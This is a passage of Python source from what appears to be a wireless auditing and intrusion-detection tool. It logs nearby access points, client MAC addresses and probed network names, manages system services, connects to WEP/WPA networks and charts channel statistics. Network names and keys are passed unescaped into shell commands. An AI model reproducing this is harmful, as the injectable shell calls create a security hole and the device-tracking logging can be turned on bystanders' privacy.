                    WriteData=WriteData + str(ListInfo_Enriched[x]) + str(col)  
                    WriteData=WriteData + str(ListInfo_Mode[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_FirstSeen[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_LastSeen[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_Channel[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_Privacy[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_Cipher[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_Auth[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_MaxRate[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_BitRate[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_BestQuality[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_GPSBestLat[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_GPSBestLon[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_GPSBestAlt[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_WPS[x]) + str(col) 
                    WriteData=WriteData + str(ListInfo_WPSVer[x]) + str(col) 
                    WriteData=WriteData + str(Now()) + str(col)
                    WriteData=WriteData + str(ListInfo_ESSID[x]) + str(col) + "\n"
                    open(DBFile2,"a+b").write(WriteData)
        x += 1

def WriteAllStationDB():
    AddData=0
    AddData3=0
    AddData4=0
    x=0
    SkipWrite=0
    while x<len(ListInfo_STATION):
        ESSID=FindESSID(ListInfo_CBSSID[x])
        SkipWrite=0
        if len(ListInfo_STATION[x])==17 and __builtin__.SELECTED_MANIFACE_MAC!=ListInfo_STATION[x] and __builtin__.SELECTED_MON_MAC!=ListInfo_STATION[x] and __builtin__.SELECTED_IFACE_MAC!=ListInfo_STATION[x] and __builtin__.SELECTED_ATK_MAC!=ListInfo_STATION[x]:
            if ListInfo_CBSSID[x].find("Not Associated")==-1:
                with open(DBFile5,"r") as f:
                    next(f)
                    for line in f:
                        line=line.replace("\n","").replace("\r","")
                        sl=len(line)
                        if SkipWrite==0 and sl>34:
                            tmplist=[]
                            tmplist=str(line).split(";")
                            if len(tmplist)>2:
                                if tmplist[0]==str(ListInfo_STATION[x]) and tmplist[1]==str(ListInfo_CBSSID[x]):
                                    if IsAscii(tmplist[2])==True and IsAscii(ListInfo_CESSID[x])==False:
                                        SkipWrite=1
                                    if tmplist[2]==str(ListInfo_CESSID[x]):
                                        SkipWrite=1
                                        break
                    if SkipWrite==0 and RemoveUnwantMAC(ListInfo_STATION[x])!="" and ListInfo_STATION[x]!=__builtin__.SELECTED_MON_MAC and ListInfo_STATION[x]!=__builtin__.SELECTED_MANIFACE_MAC and ListInfo_STATION[x]!=__builtin__.SELECTED_IFACE_MAC and ListInfo_STATION[x]!=__builtin__.SELECTED_ATK_MAC:
                        AddData=AddData+1
                        WriteData=str(ListInfo_STATION[x]) + str(col)
                        WriteData=WriteData + str(ListInfo_CBSSID[x]) + str(col) 
                        WriteData=WriteData + str(ESSID) + str(col) + "\n"
                        open(DBFile5,"a+b").write(WriteData)
                f.close()
            if ListInfo_STATION[x]!="":
                SkipWrite=0
                with open(DBFile3,"r") as f:
                    next(f)
                    for line in f:
                        line=line.replace("\n","").replace("\r","")
                        sl=len(line)
                        if SkipWrite==0 and sl>34:
                            tmplist=[]
                            tmplist=str(line).split(";")
                            if len(tmplist)>2:
                                if tmplist[0]==str(ListInfo_STATION[x]) and tmplist[1]==str(ListInfo_CBSSID[x]) :
                                    if tmplist[6]==str(ListInfo_CESSID[x]):
                                        SkipWrite=1
                                        break
                    if SkipWrite==0 and RemoveUnwantMAC(ListInfo_STATION[x])!="":
                        AddData3=AddData3+1
                        WriteData=str(ListInfo_STATION[x]) + str(col)
                        WriteData=WriteData + str(ListInfo_CBSSID[x]) + str(col)  
                        WriteData=WriteData + str(ListInfo_CFirstSeen[x]) + str(col) 
                        WriteData=WriteData + str(ListInfo_CLastSeen[x]) + str(col) 
                        WriteData=WriteData + str(ListInfo_CBestQuality[x]) + str(col) 
                        WriteData=WriteData + str(Now()) + str(col)
                        WriteData=WriteData + str(ESSID) + str(col) + "\n"
                        open(DBFile3,"a+b").write(WriteData)
                f.close()
            if ListInfo_PROBE[x]!="":
                tmpProbeList=[]
                tmpProbeList=str(ListInfo_PROBE[x]).split(" / ")
                y=0
                while y<len(tmpProbeList):
                    ProbeName=str(tmpProbeList[y])
                    if ProbeName!="":
                        SkipWrite=0
                        with open(DBFile4,"r") as f:
                            next(f)
                            for line in f:
                                line=line.replace("\n","").replace("\r","")
                                sl=len(line)
                                if SkipWrite==0 and sl>17:
                                    tmplist=[]
                                    tmplist=str(line).split(";")
                                    if len(tmplist)>2:
                                        if tmplist[0]==str(ListInfo_STATION[x]) and tmplist[2]==str(ProbeName) :
                                            SkipWrite=1
                                            break
                            if SkipWrite==0 and RemoveUnwantMAC(ListInfo_STATION[x])!="":
                                AddData4=AddData4+1
                                WriteData=str(ListInfo_STATION[x]) + str(col)
                                WriteData=WriteData + str(Now()) + str(col)
                                WriteData=WriteData + str(ProbeName) + str(col) + "\n"
                                open(DBFile4,"a+b").write(WriteData)
                        f.close()
                    y += 1
        x += 1
    return

def ServiceCheck(SvrName,DisplaySvrName, cmdPrompt,cmdDisplay):
    """
        SvrName          = Actual service name
        DisplaySvrName   = Service name to display
        cmdPrompt   QEID = Question - Enable if disabled
                    AEID = Automatic - Enable if disabled
                    QDIE = Question - Disable if enabled
                    ADIE = Automatic - Disable if enabled
                    DS   = Display Status
        cmdDisplay  "0"  = Don't Display
                    "1"  = Display
    """
    cmdPrompt=cmdPrompt.upper()
    lblColor=fcolor.CReset + fcolor.SGreen
    txtColor=fcolor.CReset + fcolor.BYellow
    Ask=""
    if SvrName!="":
        if cmdDisplay=="1" and cmdPrompt!="DS":
            printc("i",lblColor + "Checking on " + txtColor + DisplaySvrName + lblColor + " Service..","")
        SvrResult=ServiceCall(SvrName)
        if cmdDisplay=="1" and cmdPrompt!="DS":
            if SvrResult!="Unrecognised":
                printc(" ",txtColor + DisplaySvrName + lblColor + " is " + fcolor.SRed + str(SvrResult),"")
            else:
                printc("!!!","" + txtColor + DisplaySvrName + fcolor.BRed + " Service not found !","")
                return Ask
        if cmdPrompt=="DS":
            if SvrResult=="Disabled":
                printc("i",txtColor + DisplaySvrName + lblColor + " is " + fcolor.BRed + str(SvrResult),"")
                return
            if SvrResult=="Enabled":
                printc("i",txtColor + DisplaySvrName + lblColor + " is " + fcolor.BGreen + str(SvrResult),"")
                return Ask
            else:
                printc("!!!","" + txtColor + DisplaySvrName + fcolor.BRed + " Service not found !","")
                return Ask
        if SvrResult=="Disabled":
            if cmdPrompt=="QEID":
                Ask=AskQuestion(DisplaySvrName + " is disabled. Enabled ?","Y/n","U","Y","")
                if Ask=="y" or Ask=="Y" or Ask=="":
                    result=os.system("service " + SvrName + " start > /dev/null 2>&1")
                    if cmdDisplay=="1":
                        if result==0:
                            printc (" ",fcolor.SGreen + DisplaySvrName + " enabled..","")
                        else:
                            printc (" ",fcolor.SRed + DisplaySvrName + " failed to start..","")
            if cmdPrompt=="AEID":
                if cmdDisplay=="1":
                    printc ("  ",lblColor + "Enabling " + DisplaySvrName + "...","")
                result=os.system("service " + SvrName + " start > /dev/null 2>&1")
                if cmdDisplay=="1":
                    if result==0:
                        printc (" ",fcolor.SGreen + DisplaySvrName + " enabled..","")
                    else:
                        printc (" ",fcolor.SRed + DisplaySvrName + " failed to start..","")
        if SvrResult=="Enabled":
            if cmdPrompt=="QDIE":
                Ask=AskQuestion(DisplaySvrName + " is enabled. Disable ?","Y/n","U","Y","")
                if Ask=="y" or Ask=="Y" or Ask=="":
                    result=os.system("service " + SvrName + " stop > /dev/null 2>&1")
                    if cmdDisplay=="1":
                        if result==0:
                            printc (" ",fcolor.SGreen + DisplaySvrName + " disabled..","")
                        else:
                            printc (" ",fcolor.SRed + DisplaySvrName + " failed to stop..","")
            if cmdPrompt=="ADIE":
                if cmdDisplay=="1":
                    printc (" ",lblColor + "Disabling " + DisplaySvrName + "...","")
                result=os.system("service " + SvrName + " stop > /dev/null 2>&1")
                if cmdDisplay=="1":
                    if result==0:
                        printc (" ",fcolor.SGreen + DisplaySvrName + " disabled..","")
                    else:
                        printc (" ",fcolor.SRed + DisplaySvrName + " failed to stop..","")
    return Ask

def ServiceCall(SvrName):
    result=os.system("service " + SvrName + " status > /dev/null 2>&1")
    if result==0:
        CStatus="Enabled"
    if result==768:
        CStatus="Disabled"
    if result==256:
        CStatus="Unrecognised"
    return CStatus;

def GetIPAddress(iface):
    __builtin__.IPADDR=""
    __builtin__.GATEWAY=""
    readout=""
    if iface!="":
        cmdLine="ifconfig " + str(iface) + " | grep 'inet addr' | awk -F: '{print $2}' | awk '{print $1}'"
        ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
        ps.wait()
        readout=str(ps.stdout.read().replace("\n","").lstrip().rstrip())
        __builtin__.IPADDR=readout
        cmdLine="ip route show | grep 'default' | awk '{print $3}'"
        ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
        ps.wait()
        __builtin__.GATEWAY=str(ps.stdout.read().replace("\n","").lstrip().rstrip())
    return readout

def EnableConnection(iface):
    if iface!="":
        printl (fcolor.SWhite + "[.]   " + fcolor.SGreen + "Assigning DHCP..." ,"1","")
        cmdLine="dhclient " + str(__builtin__.SELECTED_MANIFACE) + " > /dev/null 2>&1"
        ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
        ps.wait();print " Done."
        printl (fcolor.SWhite + "[.]   " + fcolor.SGreen + "Retreiving assigned IP Address & Gateway.." ,"1","")
        IPAddr=GetIPAddress(__builtin__.SELECTED_MANIFACE)
        print " Done."
        if __builtin__.IPADDR!="":
            if __builtin__.GATEWAY!="":
                printc (" ",fcolor.SWhite + "IP Address : " + fcolor.BGreen + str(__builtin__.IPADDR) + "\t\t" + fcolor.SWhite + "Gateway : " + fcolor.BGreen + str(__builtin__.GATEWAY),"")
            else:
                printc (" ",fcolor.SWhite + "IP Address : " + fcolor.BGreen + str(__builtin__.IPADDR) + "\t\t" + fcolor.SWhite + "Gateway : " + fcolor.SRed + "Unknown","")
        else:
            printc (" ",fcolor.SRed + "Failed to get IP address..","")    

def ConnectWEP(ESSID,WEPKey):
    __builtin__.SELECTED_MANIFACE_MAC=GetMyMAC(__builtin__.SELECTED_MANIFACE)
    print ""
    printc (".",fcolor.BGreen + "Connecting to ESSID [ " + fcolor.BPink + str(ESSID) + fcolor.BGreen + " ] using interface " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE) + fcolor.BGreen + " [ " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE_MAC) + fcolor.BGreen + " ] ","")
    printc (".",fcolor.BGreen + "WEP Key : " + fcolor.BRed + str(WEPKey) + fcolor.BGreen + "... Please wait..." ,"")
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MANIFACE) + " down" , shell=True, stdout=subprocess.PIPE)												
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_MANIFACE) + " mode managed" , shell=True, stdout=subprocess.PIPE)												
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_MANIFACE) + " essid " + str(ESSID) , shell=True, stdout=subprocess.PIPE)												
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_MANIFACE) + " key open " + str(WEPKey) , shell=True, stdout=subprocess.PIPE)												
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_MANIFACE) + " enc on" , shell=True, stdout=subprocess.PIPE)												
    print ""
    usr_resp=AskQuestion("Do you want to continue with the connection ?" + fcolor.BGreen,"Y/n","U","Y","1")
    print ""
    if usr_resp=="Y":
        EnableConnection(__builtin__.SELECTED_MANIFACE)

def ConnectWPA(ESSID,WPAKey):
    TIMEOUT=120
    printc ("!!!","Note : " + fcolor.BYellow + "Network Manager must be disabled in-order to connect to an access point.\n","")
    Result=ServiceCheck("network-manager","Network Manager", "QDIE","1")
    if Result!="Y" and Result!="":
        printc ("!!!","You have choose not to disable the network manager, connection attempts to the specified access point likely to fail !!!","")
    __builtin__.SELECTED_MANIFACE_MAC=GetMyMAC(__builtin__.SELECTED_MANIFACE)
    wpas_conf=tmpdir + "wpa_supplicant.conf"
    DelFile(wpas_conf,"")
    DelFile(__builtin__.ConnectionResult,"")
    ps=subprocess.Popen("wpa_passphrase " + str(ESSID) + " '" + WPAKey + "' > " + wpas_conf, shell=True, stdout=subprocess.PIPE)
    WPAS_PID=ps.pid
    print ""
    printc (".",fcolor.BGreen + "Connecting to ESSID [ " + fcolor.BPink + str(ESSID) + fcolor.BGreen + " ] using interface " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE) + fcolor.BGreen + " [ " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE_MAC) + fcolor.BGreen + " ] ","")
    printc (".",fcolor.BGreen + "Passphase : " + fcolor.BRed + str(WPAKey) + fcolor.BGreen + "... Please wait..." + fcolor.SGreen + "Connection will stop if failed after " + str(TIMEOUT) + " seconds.." ,"")
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MANIFACE) + " down" , shell=True, stdout=subprocess.PIPE)												
    ps=subprocess.Popen("killall wpa_supplicant > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE)	
    TIMEOUT=float(TIMEOUT)
    print ""
    mcmd="wpa_supplicant -Dwext -i " + str(__builtin__.SELECTED_MANIFACE) + " -c " + wpas_conf + " -f " + str(__builtin__.ConnectionResult) + " > /dev/null 2>&1"
    cmdLine="xterm -geometry 100x5-0-10 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Connecting to " + str(ESSID) + "' -e '" + str(mcmd) +  "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MANIFACE) + " up" , shell=True, stdout=subprocess.PIPE)												
    CONNECTED=""
    TIMEOUTCT=0
    while CONNECTED=="":
        time.sleep(1)
        TIMEOUTCT=TIMEOUTCT+1
        if os.path.exists(__builtin__.ConnectionResult):
            with open(__builtin__.ConnectionResult,"r") as f:
                ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MANIFACE) + " up" , shell=True, stdout=subprocess.PIPE)												
                for line in f:
                    line=line.replace("\n","")
                    if line!="":
                        if str(line).find("CTRL-EVENT-CONNECTED")!=-1:
                            idx=str(line).find("CTRL-EVENT-CONNECTED - Connection to ")
                            idx=idx+37
                            lst=str(line)[int(idx):].lstrip().rstrip()
                            CBSSID=str(lst).split(" ")
                            printc (" ",fcolor.BBlue + "Connection to [ " + fcolor.BWhite + str(CBSSID[0]).upper() + " - " + fcolor.BPink + str(ESSID)  + fcolor.BBlue + " ] using [ " + fcolor.BYellow + str(WPAKey) + fcolor.BBlue + " ] was successful.","")
                            CONNECTED="1"
                            print ""
                            usr_resp=AskQuestion("Do you want to continue with the connection ?" + fcolor.BGreen,"y/N","U","N","1")
                            print ""
                            if usr_resp!="Y":
                                printl (fcolor.SWhite + "[.]   " + fcolor.SRed + "Terminating connection..." ,"1","")
                                KillSubProc(str(WPAS_PID))
                                print fcolor.SGreen + " Done."
                            else:
                                EnableConnection(__builtin__.SELECTED_MANIFACE)
                        if str(line).find("4-Way Handshake failed - pre-shared key may be incorrect")!=-1:
                            printc (" ",fcolor.BRed + "Connection to [ " + fcolor.BWhite + str(ESSID)  + fcolor.BRed + " ] using [ " + fcolor.BYellow + str(WPAKey) + fcolor.BRed + " ] failed. Pre-shared key may be incorrect.","")
                            KillSubProc(str(WPAS_PID))
                            CONNECTED="1"
                        if str(line).find("Associated with ")!=-1:
                            idx=str(line).find("Associated with ")
                            idx=idx+16
                            CBSSID=str(line[idx:]).lstrip().rstrip().upper()
                            printc (" ",fcolor.SGreen + "Associated with [ " + fcolor.SWhite + str(CBSSID)  + fcolor.SGreen + " ]...","")
                        if str(line).find("Authentication with ")!=-1 and str(line).find("timed out")!=-1:
                            idx=str(line).find("Authentication with ")
                            idx=idx+20
                            lst=str(line)[int(idx):].lstrip().rstrip()
                            CBSSID=str(lst).split(" ")
                            printc (" ",fcolor.SYellow + "Authentication with [ " + fcolor.SWhite + str(CBSSID[0].upper())  + fcolor.SYellow + " ] time out... ","")
                        if str(line).find("Failed to initiate AP scan")!=-1:
                            printc (" ",fcolor.SRed + "Initate Access Point Scanning Failed !!!.","")
                        if str(line).find("CTRL-EVENT-DISCONNECTED")!=-1:
                            printc (" ",fcolor.SRed + "Connection to [ " + fcolor.SWhite + str(ESSID)  + fcolor.SRed + " ] disconnected.","")
                        if str(line).find("Trying to associate with ")!=-1:
                            idx=str(line).find("Trying to associate with ")
                            lst=str(line)[int(idx)+25:].lstrip().rstrip()
                            CBSSID=str(lst).split(" ")
                            idx=idx+25 + 18
                            Result=str(line[idx:]).lstrip().rstrip().replace("(","").replace(")","")
                            DMsg=fcolor.SGreen + "Trying associate with " + "BSSID=" + str(CBSSID[0]).upper() + " " + str(Result)  + fcolor.SGreen + " ..."
                            DMsg=str(DMsg).replace(" BSSID=",fcolor.SGreen + " BSSID=" + fcolor.SWhite).replace("SSID=",fcolor.SGreen + "SSID=" + fcolor.SWhite).replace("freq=",fcolor.SGreen + "Freq=" + fcolor.SWhite)
                            printc (" ",DMsg,"")
                        if str(line).find("Key negotiation completed with ")!=-1:
                            idx=str(line).find("Key negotiation completed with ")
                            idx=idx+31 + 18
                            Result=str(line[idx:]).lstrip().rstrip().upper().replace("[","").replace("]","")
                            DMsg=fcolor.SGreen + "Key Negotiation Completed. [ " + fcolor.BGreen + str(Result)  + fcolor.SGreen + " ]..."
                            DMsg=str(DMsg).replace("PTK=",fcolor.SGreen + "PTK=" + fcolor.SWhite).replace("GTK=",fcolor.SGreen + "GTK=" + fcolor.SWhite).replace("freq=",fcolor.SGreen + "Freq=" + fcolor.SWhite)
                            printc (" ",DMsg,"")
                open(__builtin__.ConnectionResult,"w").write("")
        if TIMEOUTCT>TIMEOUT and CONNECTED=="":
            print ""
            printc ("!!!",fcolor.BRed + "Connection Timeout... Exiting...","")                     
            KillSubProc(str(WPAS_PID))
            CONNECTED="1"
    return

def GetScreenWidth():
    curses.setupterm()
    TWidth=curses.tigetnum('cols')
    TWidth=TWidth
    return TWidth

def CheckMaxCount(StrVal,MaxRec):
    if int(StrVal)>int(MaxRec):
        MaxRec=int(StrVal)
    return MaxRec

def DisplayNetworkChart():
    x=0;CH_MaxCt=0;EN_MaxCt=0;CL_MaxCt=0;SN_MaxCt=0
    CH0=0;DCH0=0;CH1=0;DCH1=0;CH2=0;DCH2=0;CH3=0;DCH3=0;CH4=0;DCH4=0;CH5=0;DCH5=0;CH6=0;DCH6=0;CH7=0;DCH7=0;CH8=0;DCH8=0;CH9=0;DCH9=0;CH10=0;DCH10=0;CH11=0;DCH11=0;CH12=0;DCH12=0;CH13=0;DCH13=0;CH14=0;DCH14=0;CH100=0;DCH100=0;WPA2=0;DWPA2=0;WPA=0;DWPA=0;WEP=0;DWEP=0;OPN=0;DOPN=0;UNK=0;DUNK=0
    WPA2_WPS=0;WPA_WPS=0;WEP_WPS=0;OPN_WPS=0;UNK_WPS=0
    SN_VG=0;DSN_VG=SN_VG;SN_GD=0;DSN_GD=SN_GD;SN_AV=0;DSN_AV=SN_AV;SN_PR=0;DSN_PR=SN_PR;SN_UK=0;DSN_UK=SN_UK
    WPA2_CLN=0;DWPA2_CLN=0;WPA_CLN=0;DWPA_CLN=0;WEP_CLN=0;DWEP_CLN=0;OPN_CLN=0;DOPN_CLN=0;UNK_CLN=0;DUNK_CLN=0
    WPA2_CLNCT=0;DWPA2_CLNCT=0;WPA_CLNCT=0;DWPA_CLNCT=0;WEP_CLNCT=0;DWEP_CLNCT=0;OPN_CLNCT=0;DOPN_CLNCT=0;UNK_CLNCT=0;DUNK_CLNCT=0
    while x < len(ListInfo_BSSID):
        CH=__builtin__.ListInfo_Channel[x]
        ENC=__builtin__.ListInfo_Privacy[x]
        WPS=__builtin__.ListInfo_WPS[x]
        CLN=int(__builtin__.ListInfo_ConnectedClient[x])
        SNL=RemoveColor(str(__builtin__.ListInfo_QualityRange[x]))
        if ENC=="WPA2":
          WPA2 += 1;EN_MaxCt=CheckMaxCount(WPA2,EN_MaxCt);DWPA2=WPA2
          if WPS=="Yes":
              WPA2_WPS += 1
          if CLN!=0:
              WPA2_CLN += 1;DWPA2_CLN=WPA2_CLN
              WPA2_CLNCT = WPA2_CLNCT + int(CLN);DWPA2_CLNCT=WPA2_CLNCT
              CL_MaxCt=CheckMaxCount(WPA2_CLN,CL_MaxCt)
        if ENC=="WPA":
          WPA += 1;EN_MaxCt=CheckMaxCount(WPA,EN_MaxCt);DWPA=WPA
          if WPS=="Yes":
              WPA_WPS += 1
          if CLN!=0:
              WPA_CLN += 1;DWPA_CLN=WPA_CLN
              WPA_CLNCT = WPA_CLNCT + int(CLN);DWPA_CLNCT=WPA_CLNCT
              CL_MaxCt=CheckMaxCount(WPA_CLN,CL_MaxCt)
        if ENC=="WEP":
          WEP += 1;EN_MaxCt=CheckMaxCount(WEP,EN_MaxCt);DWEP=WEP
          if WPS=="Yes":
              WEP_WPS += 1
          if CLN!=0:
              WEP_CLN += 1;DWEP_CLN=WEP_CLN
              WEP_CLNCT = WEP_CLNCT + int(CLN);DWEP_CLNCT=WEP_CLNCT
              CL_MaxCt=CheckMaxCount(WEP_CLN,CL_MaxCt)
        if ENC=="OPN":
          OPN += 1;EN_MaxCt=CheckMaxCount(OPN,EN_MaxCt);DOPN=OPN
          if WPS=="Yes":
              OPN_WPS += 1
          if CLN!=0:
              OPN_CLN += 1;DOPN_CLN=OPN_CLN
              OPN_CLNCT = OPN_CLNCT + int(CLN);DOPN_CLNCT=OPN_CLNCT
              CL_MaxCt=CheckMaxCount(OPN_CLN,CL_MaxCt)
        if ENC!="WPA2" and ENC!="WPA" and ENC!="WEP" and ENC!="OPN":
          UNK += 1;EN_MaxCt=CheckMaxCount(UNK,EN_MaxCt);DUNK=UNK
          if WPS=="Yes":
              UNK_WPS += 1
          if CLN!=0:
              UNK_CLN += 1;UNK_CLN=UNK_CLN
              UNK_CLNCT = UNK_CLNCT + int(CLN);DUNK_CLNCT=UNK_CLNCT
              CL_MaxCt=CheckMaxCount(UNK_CLN,CL_MaxCt)
        if CH=="1":
          CH1 += 1;CH_MaxCt=CheckMaxCount(CH1,CH_MaxCt);DCH1=CH1
        if CH=="2":
          CH2 += 1;CH_MaxCt=CheckMaxCount(CH2,CH_MaxCt);DCH2=CH2
        if CH=="3":
          CH3 += 1;CH_MaxCt=CheckMaxCount(CH3,CH_MaxCt);DCH3=CH3
        if CH=="4":
          CH4 += 1;CH_MaxCt=CheckMaxCount(CH4,CH_MaxCt);DCH4=CH4
        if CH=="5":
          CH5 += 1;CH_MaxCt=CheckMaxCount(CH5,CH_MaxCt);DCH5=CH5
        if CH=="6":
          CH6 += 1;CH_MaxCt=CheckMaxCount(CH6,CH_MaxCt);DCH6=CH6
        if CH=="7":
          CH7 += 1;CH_MaxCt=CheckMaxCount(CH7,CH_MaxCt);DCH7=CH7
        if CH=="8":
          CH8 += 1;CH_MaxCt=CheckMaxCount(CH8,CH_MaxCt);DCH8=CH8
        if CH=="9":
          CH9 += 1;CH_MaxCt=CheckMaxCount(CH9,CH_MaxCt);DCH9=CH9
        if CH=="10":
          CH10 += 1;CH_MaxCt=CheckMaxCount(CH10,CH_MaxCt);DCH10=CH10
        if CH=="11":
          CH11 += 1;CH_MaxCt=CheckMaxCount(CH11,CH_MaxCt);DCH11=CH11
        if CH=="12":
          CH12 += 1;CH_MaxCt=CheckMaxCount(CH12,CH_MaxCt);DCH12=CH12
        if CH=="13":
          CH13 += 1;CH_MaxCt=CheckMaxCount(CH13,CH_MaxCt);DCH13=CH13
        if CH=="14":
          CH14 += 1;CH_MaxCt=CheckMaxCount(CH14,CH_MaxCt);DCH14=CH14
        if int(CH)>14:
          CH100 += 1;CH_MaxCt=CheckMaxCount(CH100,CH_MaxCt);DCH100=CH100
        if int(CH)<1:
          CH0 += 1;CH_MaxCt=CheckMaxCount(CH0,CH_MaxCt);DCH0=CH0
        if SNL=="V.Good" or SNL=="V.Good":
            SN_VG += 1;DSN_VG=SN_VG;SN_MaxCt=CheckMaxCount(SN_VG,SN_MaxCt)
        if SNL=="Good" or SNL=="Good":
            SN_GD += 1;DSN_GD=SN_GD;SN_MaxCt=CheckMaxCount(SN_GD,SN_MaxCt)
        if SNL=="Average":
            SN_AV += 1;DSN_AV=SN_AV;SN_MaxCt=CheckMaxCount(SN_AV,SN_MaxCt)
        if SNL=="Poor":
            SN_PR += 1;DSN_PR=SN_PR;SN_MaxCt=CheckMaxCount(SN_PR,SN_MaxCt)
        if SNL=="Unknown":
            SN_UK += 1;DSN_UK=SN_UK;SN_MaxCt=CheckMaxCount(SN_UK,SN_MaxCt)
        x += 1
    os.system('clear')
    CenterText(fcolor.BWhite + fcolor.BGBlue, "Access Point Information Barchart View")
    print ""
    MaxWidth=GetScreenWidth()
    HalfWidth=MaxWidth/2
    CH_TIMES="";EN_TIMES=""; CL_TIMES=""; SN_TIMES=""
    CalCH=int(CH_MaxCt * 2) + 25
    if int(CalCH)<int(HalfWidth):
       CH_TIMES="x2"
    else:
        CalCH=int(CH_MaxCt) + 25
        if int(CalCH)<int(HalfWidth):
           CH_TIMES="x1"
        else:
            CalCH=int(CH_MaxCt / 2) + 25
            if int(CalCH)<int(HalfWidth):
               CH_TIMES="/2"
            else:
                CalCH=int(CH_MaxCt / 3) + 25
                if int(CalCH)<int(HalfWidth):
                   CH_TIMES="/3"
                else:
                    CalCH=int(CH_MaxCt / 4) + 25
                    if int(CalCH)<int(HalfWidth):
                       CH_TIMES="/4"
    CalEN=int(EN_MaxCt * 2) + 20
    if int(CalEN)<int(HalfWidth):
       EN_TIMES="x2"
    else:
        CalEN=int(EN_MaxCt) + 20
        if int(CalEN)<int(HalfWidth):
           EN_TIMES="x1"
        else:
            CalEN=int(EN_MaxCt / 2) + 20
            if int(CalEN)<int(HalfWidth):
               EN_TIMES="/2"
            else:
                CalEN=int(EN_MaxCt / 3) + 20
                if int(CalEN)<int(HalfWidth):
                   EN_TIMES="/3"
                else:
                    CalEN=int(EN_MaxCt / 4) + 20
                    if int(CalEN)<int(HalfWidth):
                       EN_TIMES="/4"
    CalCL=int(CL_MaxCt * 4) + 20
    if int(CalCL)<int(HalfWidth):
        CL_TIMES="x4"
    else:
        CalCL=int(CL_MaxCt * 3) + 20
        if int(CalCL)<int(HalfWidth):
            CL_TIMES="x3"
        else:
            CalCL=int(CL_MaxCt * 2) + 20
            if int(CalCL)<int(HalfWidth):
                CL_TIMES="x2"
            else:
                CalCL=int(CL_MaxCt) + 20
                if int(CalCL)<int(HalfWidth):
                    CL_TIMES="x1"
                else:
                    CalCL=int(CL_MaxCt / 2) + 20
                    if int(CalCL)<int(HalfWidth):
                        CL_TIMES="/2"
                    else:
                        CalCL=int(CL_MaxCt / 3) + 20
                        if int(CalCL)<int(HalfWidth):
                            CL_TIMES="/3"
                        else:
                            CalCL=int(CL_MaxCt / 4) + 20
                            if int(CalCL)<int(HalfWidth):
                                CL_TIMES="/4"
    CalSN=int(SN_MaxCt * 4) + 15
    if int(CalSN)<int(HalfWidth):
        SN_TIMES="x4"
    else:
        CalSN=int(SN_MaxCt * 3) + 15
        if int(CalSN)<int(HalfWidth):
            SN_TIMES="x3"
        else:
            CalSN=int(SN_MaxCt * 2) + 15
            if int(CalSN)<int(HalfWidth):
                SN_TIMES="x2"
            else:
                CalSN=int(SN_MaxCt) + 15
                if int(CalSN)<int(HalfWidth):
                    SN_TIMES="x1"
                else:
                    CalSN=int(SN_MaxCt / 2) + 15
                    if int(CalSN)<int(HalfWidth):
                        SN_TIMES="/2"
                    else:
                        CalSN=int(SN_MaxCt / 3) + 15
                        if int(CalSN)<int(HalfWidth):
                            SN_TIMES="/3"
                        else:
                            CalSN=int(SN_MaxCt / 4) + 15
                            if int(CalSN)<int(HalfWidth):
                                SN_TIMES="/4"
    CH_CHG=0
    if CH_TIMES=="x2":
        CH0=int(CH0) * 2;CH1=int(CH1) * 2; CH2=int(CH2) * 2; CH3=int(CH3) * 2; CH4=int(CH4) * 2;CH5=int(CH5) * 2; CH6=int(CH6) * 2; CH7=int(CH7) * 2;CH8=int(CH8) * 2;CH9=int(CH9) * 2;CH10=int(CH10) * 2;CH11=int(CH11) * 2;CH12=int(CH12) * 2;CH13=int(CH13) * 2;CH14=int(CH14) * 2;CH100=int(CH100) * 2
    if CH_TIMES=="/2" or CH_TIMES=="/3" or CH_TIMES=="/4":
        CH_CHG=1
        DivVal=int(CH_TIMES[-1:])
        CH0=int(CH0/DivVal);CH1=int(CH1/DivVal);CH2=int(CH2/DivVal);CH3=int(CH3/DivVal);CH4=int(CH4/DivVal);CH5=int(CH5/DivVal);CH6=int(CH6/DivVal);CH7=int(CH7/DivVal);CH8=int(CH8/DivVal);CH9=int(CH9/DivVal);CH10=int(CH10/DivVal);CH11=int(CH11/DivVal);CH12=int(CH12/DivVal);CH13=int(CH13/DivVal);CH14=int(CH14/DivVal);CH100=int(CH100/DivVal)
    if CH_CHG==1:
        if CH0==0 and DCH0!=0:
            CH0=1
        if CH1==1 and DCH1!=0:
            CH1=1
        if CH2==0 and DCH2!=0:
            CH2=1
        if CH3==0 and DCH3!=0:
            CH3=1
        if CH4==0 and DCH4!=0:
            CH4=1
